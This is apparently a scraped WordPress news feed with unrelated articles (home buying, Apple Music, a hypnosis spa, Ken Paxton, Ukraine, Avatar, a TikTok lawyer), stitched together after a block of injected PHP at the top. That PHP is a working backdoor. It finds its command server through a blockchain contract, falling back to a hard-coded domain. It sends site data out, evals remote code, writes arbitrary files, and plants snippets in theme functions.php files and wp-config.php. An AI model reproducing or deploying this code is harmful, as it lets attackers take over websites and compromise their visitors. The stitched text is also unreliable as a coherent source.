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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Finance News – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 03 Nov 2022 11:23:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Finance News – Brief News https://briefnews.eu 32 32 Tips for First-Time Home Buyers https://briefnews.eu/tips-for-first-time-home-buyers/ https://briefnews.eu/tips-for-first-time-home-buyers/#respond Thu, 03 Nov 2022 11:23:04 +0000 https://briefnews.eu/?p=268081 Buying your first home is a complicated process that takes time and patience. It’s also one of the biggest and most important decisions you will ever make.

When you buy a home, you are not just buying a property, but also an investment that can generate wealth over time. In this article, we will talk about the process of buying your first home and all the things to consider before making your decision.

There are many steps to buy a house that experts will tell you are among the most important.

All of this to say, if you are considering buying a home, there are many things to consider. Here are some tips to help you buy your first home.

Get Pre-Approved for a Mortgage

Get pre-approved for a mortgage before you start looking at homes. A pre-approval letter from your lender can help you get the best interest rates and avoid making an offer on a home that doesn’t meet your budget.

If you have a good credit score, it is worth getting pre-approved for a mortgage. This way, you will know the maximum amount of money that you can borrow and what the monthly payments will be.

When you are pre-approved for a mortgage, the lender will look at your income and credit score to determine how much they are willing to lend to you. They will also look at your assets and liabilities in order to make sure that they are not lending more than they should be.

Getting pre-approved for a mortgage is an easy way to save time when it comes time to buy a home because it takes some of the guesswork out of the process.

Know Your Upfront Costs

Buying a house is an investment, and the upfront costs are often a concern for potential home buyers. Mortgage payments are one thing.

The upfront costs of buying a house are something else entirely. They can include:

  • Down payment (often 20% of the price)
  • Closing costs (something like 3%)
  • Home inspection (often $500)
  • Title insurance
  • Property taxes
  • Utilities (gas, electric, water)
  • Furniture and appliances

Make sure you can afford all these things.

Agents Often Know Best

A real estate agent is a professional who is legally required to represent your interests in any transaction involving a sale or purchase of property. They can not only provide expert advice but also negotiate on your behalf.

As a buyer, you are at the mercy of the seller. You have to take what they offer. You have no negotiating power and you can’t make any changes to the property. But real estate agents can help their clients find the perfect home for them in their price range and location.

Real estate agents are experts at what they do, and they have years of experience in finding homes for clients and negotiating deals, so they will be able to save you time and money when it comes to buying the home of your dreams.

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iOS 16 lets you "favorite" artists to better track them in Apple Music.

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  • You can now add your favorite artists to Apple Music for easier browsing and to get notifications about new releases.
  • To add a favorite, tap the Star icon on the artist's page.
  • You can find a list of all your favorite artists on the Listen Now page.

If you use music services like Spotify and Tidal, you may appreciate the way you can add artists as favorites, which makes it easy to quickly browse to music you want to listen to. Starting in iOS 16, you can add favorite artists in Apple Music as well. When you set a favorite artist, you can find them quickly on the Listen Now tab as well as get notifications about new releases. 

To use favorites in Apple Music, your iPhone needs to be running iOS 16 or later. You should check your version of iOS and update your iPhone if needed.

How to add your favorite artists in Apple Music

1. Start the Apple Music app.

2. Tap Search at the bottom of the page and then tap the Apple Music tab at the top.

The Apple Music app on iPhone.
Search or browse for the artist you want to make a favorite.

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3. Search for the name of an artist you want to favorite and tap in the search results when it appears. 

4. Tap the Star icon at the top of the page. 

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On the artist's page, tap the Star icon to make it a favorite.

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If this is the first time you're adding a favorite, you might see a window asking if you want to be notified about new releases from your favorite artists. If you do, tap Turn On.  

How to see your favorites in Apple Music

Once you add a few artists as favorites, you might want to use this list of artists as a way to quickly browse for music. To see your favorites, tap Listen Now at the bottom of the screen and then scroll down to the Favorite Artists section. You can tap an artist if you see what you're looking for, or tap Favorite Artists and browse the complete list. 

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Apple Music shows you all your favorite artists on the Listen Now page, though you may need to scroll a ways down the page to find it.

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How to remove favorite artists from Apple Music

It's entirely possible to favorite an artist by mistake or get bored with their music and decide you'd like to remove the artist from your list of favorites. Removing a favorite is essentially the same as marking a favorite, only in reverse.

First, find the favorite artist you want to remove. You can do this by using the Search icon or by browsing via the Favorite Artists section on the Listen Now page. Once you've arrived on the artist's page, tap the Star icon at the top. The star should be deselected and the artist will be removed from your list of favorites.

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Four Seasons hypnotism session

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  • The Four Seasons Hotel spa in New York offers consultations with "certified spiritual healers."
  • From chakra healing to astrology, the unique offerings tap into a $ 639 billion wellness tourism market. 
  • I'd choose the spa's hour-long hypnosis session over spending the same amount of money on a massage.

Luxury hotels now offer a range of wellness treatments that go far beyond your typical facial or massage, but the Four Seasons "resident healer" program takes the trend to the next level. 

The hotel's spa in downtown Manhattan offers appointments catered to an individual's "spiritual awareness and personal enlightenment," ranging from a $ 380 astrology reading to a $ 485 crystal healing session. 

Over the course of an hour, I was hypnotized by one of the hotel's resident healers with a combination of visualization, manifestation, and mindfulness exercises. The session put me into a semi-trance that left me feeling more confident and relaxed. 

For $ 285, the session lived up to its advertised promise of providing "clarity and emotional release" — plus access to the spa's amenities, including the sauna and steam room. In the future, I'd choose the unique experience over spending the same amount of money on a traditional spa treatment like a massage or facial.

Nicole Hernandez, also known as "the traveling hypnotist," is a resident healer at the Four Seasons Downtown New York.
Nicole Hernandez, also known as "the traveling hypnotist," is a resident healer at the Four Seasons Downtown New York.

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Prior to my session with Nicole Hernandez, also known as "the traveling hypnotist," the only experience I'd had with hypnotism was a disappointing stage performance in high school. I didn't fall into the trance that made my peers dance awkwardly and fall asleep, so I was escorted off the stage. 

I could tell this would be a completely different kind of hypnotism. Nicole felt more like a professional psychologist than a wacky stage guru, despite references to past lives and a fair amount of mindfulness buzz words.

She explained that everybody has different levels of susceptibility to hypnosis: movies, reading books, daydreaming — these are all different ways we hypnotize our brains without realizing it. People who don't frequently seek out those escapes may be harder to coach into a trance, she said. 

Prior to the session, I filled out a detailed survey (left) about my intentions and goals for the session.
Prior to the session, I filled out a detailed survey about my intentions and goals.

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After Nicole explained what to expect, we had a 20-minute conversation about any issues I'd like to tackle. Officially a year out of college, I wanted to focus on taking the next step in my career and improving my relationships as I transition into full-on adulthood. We discussed my value system and the things that are most important to me. This part felt like therapy but with more specific action items.

From there, Nicole began our first visualization exercise, which I can only describe as trippy. She guided me through "expanding my peripheral vision" as far as possible while focusing on a single spot on the wall, which felt like my eyes were a camera zooming out. Afterward, I felt strangely relaxed, a sensation Nicole credited to our brains only being able to handle so much visual stimulus. When you intentionally overload it, everything else shuts down. 

With my inner eye officially open, Nicole proceeded to have me visualize myself on the other side of the room "wearing" the issues we discussed, taking the form of a backpack filled with rocks. Then, I had to visualize taking the backpack off and seeing how I felt without the weight. 

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Four Seasons hypnotism session

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As the projection of myself ran around and danced, Nicole asked me what else she (I?) needed. I hadn't eaten lunch yet, so I opted to feed imaginary-me steak and french fries, an answer that Nicole did her best to take seriously while we both laughed. 

After feeding my projection, Nicole instructed me to open the backpack and see if there were still rocks inside, to which I responded, "well, I'm making this up (duh) … but now it's just filled with paper." Imaginary-me then put the bag back on and found the weight much lighter than when we started. 

Next, I was instructed to have her walk closer to me until our "energy merged." At this point, I was definitely in some kind of a trance and experienced an emotional release. The exercise left me feeling lighter and happier afterward (and craving steak and french fries). 

The locker room at the Four Seasons Hotel spa in downtown New York.
The locker room at the Four Seasons Hotel spa in downtown New York.

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One of the crazier things was that the entire exercise only seemed to last 10 minutes, when it was actually closer to 30. Nicole said this is super common, and that four-hour hypnosis sessions can go by in a minute. 

Three days later, I've found myself returning to the backpack-filled-with-rocks image when I've felt overwhelmed or stressed, thinking to myself: "It's not rocks! It's just paper!" And maybe that's just pretending life's problems aren't there instead of fixing them, but hey, we'll see how it goes. 

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  • An official attempted to serve Texas Attorney General Ken Paxton with a subpoena. 
  • But Paxton fled his home in his wife's truck to avoid being served, an affidavit says. 
  • The process server said he shouted out but Paxton ignored him and continued to flee.

Texas Attorney General Ken Paxton fled his home when faced with a subpoena following a lawsuit by abortion rights groups, according to an affidavit by the man trying to serve it. 

According to the affidavit, first obtained by the Texas Tribune, Paxton escaped in a truck driven by his wife, Texas state Sen. Angela Paxton after the process server, Ernesto Martin Herrera, arrived at his home.

The subpoena required Paxton to give evidence Tuesday in a lawsuit filed by several abortion rights groups, who are seeking protections against legal threats made against them for helping women travel to other states to get abortions.

Texas has enacted tough new restrictions on abortion following the Supreme Court's decision to overturn the Roe v. Wade ruling earlier this year. 

In his affidavit, Herrera said he parked outside Paxton's address on Monday and saw a man he recognized as Paxton. He approached the front door and saw him turn around and walk away when he saw Herrera.

The door was answered by Sen. Paxton, who said her husband was on the phone and in a "hurry to leave."

Herrera said he had already spotted Paxton inside the house, so he went and waited for an hour.

He then saw Paxton emerging from a garage, but when Herrera called out Paxton's name, he "RAN back inside the house," Herrera said in the affidavit.

Shortly after, Sen. Paxton emerged from the property, got into a black truck parked in front of the house, and opened the passenger side back door, at which point "Mr. Paxton ran from the door inside the garage towards the rear door behind the driver side," said Herrera.

The process server added: "I approached the truck, and loudly called him by his name and stated that I had court documents for him. Mr. Paxton ignored me and kept heading for the truck."

Herrera said he left the subpoena documents by the truck, but the Paxtons sped away "leaving the documents on the ground."

Responding on Twitter to media reports about the incident, Paxton, who is is up for re-election in November's mid-terms, said he fled because he feared for his family over a "stranger lingering outside my home."

 

He said: "The media wants to drum up another controversy involving my work as Attorney General, so they're attacking me for having the audacity to avoid a stranger lingering outside my home and showing concern about the safety and well-being of my family."

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A group of tech-savvy Ukrainian soldiers is making drones and explosives to be used at the front line of the conflict in the country's Donbas region.

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  • A team of young soldiers in Ukraine is building drones and explosives to be used on the front lines.
  • They are creating drones loaded with bombs to be used in combat in the Donbas region.
  • Some of the bombs come inscribed with messages like "happy birthday."

A new Agence France-Presse video shows a group of young Ukrainian troops making drones and bombs from a basement close to the front lines of the ongoing conflict in the country's Donbas region.

In the video, a group of around a dozen men in fatigues is seen working on small, remotely-piloted robots. AFP reported that the devices were scavenged from damaged aircraft.

The AFP video, which describes the men as a "group of 20-somethings," also shows a soldier named Varnak, who has been tasked with packing the robots with explosives.

"Their job is to make it move. My job is to make it explode, to fill it with explosives as effectively as possible so that it does the most damage to the enemy, or their tanks, or other military equipment," he told the outlet.

Also seen in the video were bombs made by the team, which come inscribed with personal messages to their Russian enemies, including the sarcastic "happy birthday" and the matter-of-fact "today is a Wednesday, man."

This picture shows bombs ready to be mounted on a drone in Bakhmut, Donetsk region, on September 25, 2022, amid the Russian invasion of Ukraine.
These message-inscribed bombs are meant to be dropped from drones.

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Ukraine has been wresting large swathes of territory from the Russians, particularly in the Kharkiv region.

However, the skies over the highly-contested eastern Donbas have been the site of a fierce aerial battle, with the Ukrainians leaning on drones created by its fighters — many of whom are tech enthusiasts — to be flown in combat.

The US has also sent thousands of drones to Ukraine for use in the ongoing conflict. The figure includes 121 Phoenix Ghosts, a type of unmanned aerial system that can be launched by front-line troops for single attacks.

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There are vast reserves of croplands in Siberia, Russia.

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  • Investing in Russia after the war with Ukraine could present a surpising upside, said an investor.
  • That's thanks to vast farmlands in Siberia, said Cheah Cheng Hye, co-CIO of Value Partners Group.
  • Chinese investors were already snapping up farmland in Siberia before the war.

Russia may be in the thick of war now — but investing in it may "surprise on the upside" after the conflict with Ukraine ends, a Hong Kong-based fund manager said at the Forbes Global CEO Conference in Singapore on Monday.

"All these vast lands they have in Siberia will be the biggest, most productive farmlands in the world in the next three decades. They will be a food superpower," said Cheah Cheng Hye, co-chief investment officer of Value Partners Group, an asset management firm that manages about $ 7 billion in assets.

Climate change has been negatively impacting crop yields, nutritional quality of major cereals, and livestock productivity. But Siberia is home to some of the world's largest reserves of idle cropland with potential for huge farms, wrote agriculture experts Maarten Elferink and Florian Schierhorn in The Diplomat in 2019.

"Russia could be the key winner of global warming," Cheah said. Over two-thirds of Value Partners' clients are based in China and Hong Kong.

Cheah was speaking about unexpected investing opportunities that could "surprise on the upside."

"Right now, Russia is not good news for investors but look longer-term out," Cheah said.

While Cheah's recommendation may seem like an extreme contrarian trade, Siberia is a huge resource play for investors.

Siberia is a vast region — accounting for about three-quarters of Russia's land area — and home to wide swathes of oil and gas fields and farmlands.

Even before the war, investments from China were pouring into Siberia, with at least 865,000 acres of farmland — or 16% of Siberian land used for farming — sold to or leased as of November 2019 by Chinese citizens, BBC's Russian service reported, using state land register data. 

Moreover, China has not condemned Moscow over the Ukraine war. In February, China approved wheat imports from all regions in Russia, presenting an alternative market for the major exporter of the grain. Trade between China and Russia has surged 31% in the first eight months of 2022. 

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Russian Orthodox Church Patriarch Kirill I conducts Easter service at the Christ the Savior Cathedral in Moscow, Russia, on April 24, 2022.

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  • Patriarch Kirill I said Russian soldiers who die in the war will be absolved of "sins."
  • The Sunday sermin came days after Russia announced the mobilization of 300,000 troops.
  • Kirill is known to support Russian President Vladimir Putin and the invasion of Ukraine.

The leader of the Russian Orthodox Church compared dying in the war against Ukraine to an act of "sacrifice" and that doing so absolved soldiers of their "sins."

Patriarch Kirill I made his remarks on Sunday, days after Russia announced a "partial mobilization" of troops, and men continue to be seen fleeing the country to avoid the draft.

"Many are dying on the fields of internecine warfare," Kirill said, according to a translation by Reuters. "The Church prays that this battle will end as soon as possible, so that as few brothers as possible will kill each other in this fratricidal war."

"But at the same time, the Church realizes that if somebody, driven by a sense of duty and the need to fulfill their oath … goes to do what their duty calls of them, and if a person dies in the performance of this duty, then they have undoubtedly committed an act equivalent to sacrifice. They will have sacrificed themselves for others. And therefore, we believe that this sacrifice washes away all the sins that a person has committed," he said, according to Reuters.

Kirill is known to be a supporter of President Vladimir Putin and of the invasion of Ukraine.

He previously justified the war as a fight against "excess consumption" and "gay parades" infiltrating Ukraine, according to The Orthodox Times. Kirill has also described Putin's leadership as a "miracle of God."

Putin announced on September 21 a "partial mobilization" of 300,000 military troops — an act seen as an escalation of Russia's war against Ukraine.

Almost immediately, one-way flight tickets out of Russia sold out and internet searches for "how to leave Russia" spiked in the country.

Lines of cars have packed Russia's borders with Georgia, Kazakhstan, Mongolia, and other countries, according to The Associated Press.

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  • Amazon just announced its second Prime-exclusive event of 2022 will be held October 11 and 12.
  • One of the best Prime membership benefits is a year of Grubhub+, which you can still claim ahead of the October event.
  • Grubhub+ usually costs $ 9.99 a month and gets you free delivery on mobile food orders, plus occasional freebies.

Amazon announced today that it'll hold a second big sales holiday, which it's calling the Prime Early Access Event, on October 11 and 12. While shopping the sale (and others like it, such as Prime Day) is one of the big perks for Prime members, we're also diving into other Prime benefits ahead of the big day, including one of its newest: a year of Grubhub+ for new and existing members. 

Grubhub is a food delivery app that allows you to order food from local and chain restaurants in your area. While the app is free, you typically pay a delivery fee on each order, ranging from $ 2.50 to $ 7.50. Grubhub+ lets you to avoid the delivery fees on your orders for $ 9.99 per month. With Amazon's new offer, a year of Grubhub+ is now included with a $ 14.99 per month Prime membership fee — a savings of nearly $ 120. 

How to claim a year of Grubhub+ with Prime

New and existing members can visit Amazon's Grubhub+ page and click the "Activate free Grubhub+" button. You'll be prompted to set up or sign into your Prime account and then rerouted to Grubhub. 

Who is eligible?

All Prime members are eligible, including Prime Student members. If you are already a Grubhub+ member, you can still claim the offer. The only exceptions are Grubhub Campus, Corporate, and certain existing partnership members. 

What are the benefits of Grubhub+?

Grubhub+ lets you order food from the app with unlimited $ 0 delivery fees on orders over $ 12 at eligible restaurants. You can also get free food and occasional member discounts, like $ 10 off a pickup order every month. We've found that if you order food at least once a week, Grubhub+ is worth it.

What are the other benefits of Amazon Prime?

Aside from a year of Grubhub+, an Amazon Prime membership comes with a number of useful benefits. Chief among them are free shipping on most orders and access to the retailer's huge sales event, Prime Day and its newer Early Access holiday event in October. If you're unsure of whether Prime is for you, Amazon offers a free 30 day trial that allows you to take advantage of the benefits before committing. 

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"Avatar."

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  • "Avatar" was re-released to theaters over the weekend ahead of the upcoming sequel.
  • It earned $ 30 million worldwide, $ 10 million of which came from North America.
  • It's a good sign for December's release of "Avatar: The Way of Water."

"Avatar" was the biggest movie in the world over the weekend — again.

James Cameron's 2009 sci-fi epic was re-released to theaters ahead of the December debut of its long-awaited sequel, "Avatar: The Way of Water." It grossed $ 30.5 million globally, $ 10 million of which came from North America.

The strong box office for the 13-year-old movie is a good sign for "The Way of Water's" chances.

"Avatar" is the biggest movie of all time, now with $ 2.878 billion at the worldwide box office, including $ 770.5 million domestically.

"Avengers: Endgame" briefly topped it in 2019, but "Avatar" reclaimed its crown after a re-release in China last year grossed $ 50 million.

"Avatar" was remastered for this re-release in 4K at a high-dynamic range and with enhanced sound. Imax screenings accounted for 20% of the global gross and 29% of the domestic take.

The lesson here is to never underestimate Cameron, who also directed "Titanic" — which was the world's biggest movie until "Avatar" dethroned it.

"'You know what? I made "Titanic." This building that we're meeting in right now, this new half-billion dollar complex on your lot? "Titanic" paid for that, so I get to do this,'" Cameron told the studio regarding changes it wanted to make to "Avatar," he said in a recent interview with The New York Times. "And afterward, they thanked me." 

The theatrical industry has a lot riding on "The Way of Water." After a promising summer, blockbuster tentpoles have been lacking in recent weeks. The only surefire hits coming to theaters the rest of the year are "Black Panther: Wakanda Forever" and "The Way of Water."

Because of the movie drought, studios have recently re-released other movies, such as "Spider-Man: No Way Home" and "Jaws." The former earned $ 6.5 million over the four-day Labor Day weekend in the US, and the latter made $ 3 million in that same period.

"Avatar" was up against the new release "Don't Worry Darling" over the weekend, which topped the US box office with $ 19 million after months of offscreen drama.

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Henna Choi
Henna Choi left a high-paying job as a lawyer to pursue making TikTok videos.

Henna Choi

  • Henna Choi, 28, left a high-paying job as a lawyer to pursue making TikTok videos. 
  • She shares videos about her everyday life on TikTok. Her account has more than 470,000 followers.
  • Choi said her family's support has allowed her to nurture her creativity and follow her passions.

This as-told-to essay is based on a conversation with Henna Choi, a 28-year-old lawyer who is on leave from her job. It has been edited for length and clarity.

As the firstborn daughter of an immigrant family who comes from a culture where education is the most revered thing, I always knew I was going to have a big job. What I didn't know was that I would leave that job after just two years.

I always felt the internal pressure that so many children of immigrants feel. I had to succeed, and I had to succeed in the ways that my parents would find impressive — basically, I had to be a doctor, lawyer, or engineer. I chose law because I figured that's what I would be best at.

In undergrad, I double-majored in women and gender studies and equity studies, with a focus on race and disability. I figured that I could use my platform as a lawyer to help people who really needed it, but that's not quite how it worked out.

Becoming a lawyer was expensive

I have almost $ 80,000 in student loans. The pressure to find a high-paying job to pay off your student loans is enormous, so when I was offered a job that gives commission on top of base pay, I took it right away.

I was still able to help disabled people in my position, but it wasn't what I dreamt of when I was in law school. Between the reality of how little I enjoyed being a lawyer and my mental-health struggles with depression, I knew it was time to take a break — especially since I hadn't been on a vacation in years after going straight from undergrad to law school.

Now that I'm on a break from my job, I'm freaking out

This is the first time in my adult life I've had this much unstructured time for myself. In the back of my mind, I keep reminding myself that I can go back to the structure and safety of my life as a lawyer, but something is pulling me in another direction.

The thing is, I've always wanted to do something creative for work. As a child, I wanted to be an artist.

A few months ago, I found a creative outlet that really worked for me: TikTok. I share videos of my everyday life as a self-described "depressed lawyer," and I have more than 470,000 followers now. My success on TikTok has made me feel like maybe I can do what I want with my life — or at the very least, I can try to. There's so much uncertainty in my life, but there's also excitement and beauty like I've never experienced before.

It's terrifying to leave a secure, high-paying job, and I wouldn't be able to do it without my family

They've been so supportive of me taking a leave from my job and of the content I post on TikTok, even though my upbringing and our family relationships are sometimes the source of my content. They watch my videos every day and we talk about what I share. It's kind of wild, but it's also very simple: they just want to see me happy.

I thought I had to be an extremely successful person within the narrow boundaries of what society sees as successful for them to be supportive, but that's not true at all. They want what's best for me, even if that means not being a lawyer anymore. 

The financial aspect of taking leave is definitely stressful, but I live in Canada, and I'm lucky to be able to partake in the country's unemployment benefits. I make the rest work through savings and a little bit of family support. 

If my younger self could see me now, her first question would be, "What do Mom and Dad think?" It's so nice to think I could answer that with the truth: They're being genuinely supportive and allowing me to feel safe enough to take this chance.

I'm trying to nurture the creative soul inside of me instead of suffocating it

When I tried to stuff down my creativity and desire to be a good lawyer, I was deeply unhappy, and it took a serious toll on my mental health. Not being who you really are is painful to live with every day. I think my inner child would be proud. She always wanted to be an artist.

I don't know what's going to come next. I don't know if I'm going to return to my life as a lawyer or if I'll make it in the world as a creative person, but I do know I have to try. I was tired of fighting with myself. Going forward, we're on the same team.

I was raised to think quitting is terrible and you have to finish what you started, but I realized that allowing yourself the space to change your mind is so empowering. It's powerful to choose what you want your life to be like. Quitting something that isn't working for you is a good thing. Trying for something new is even better.

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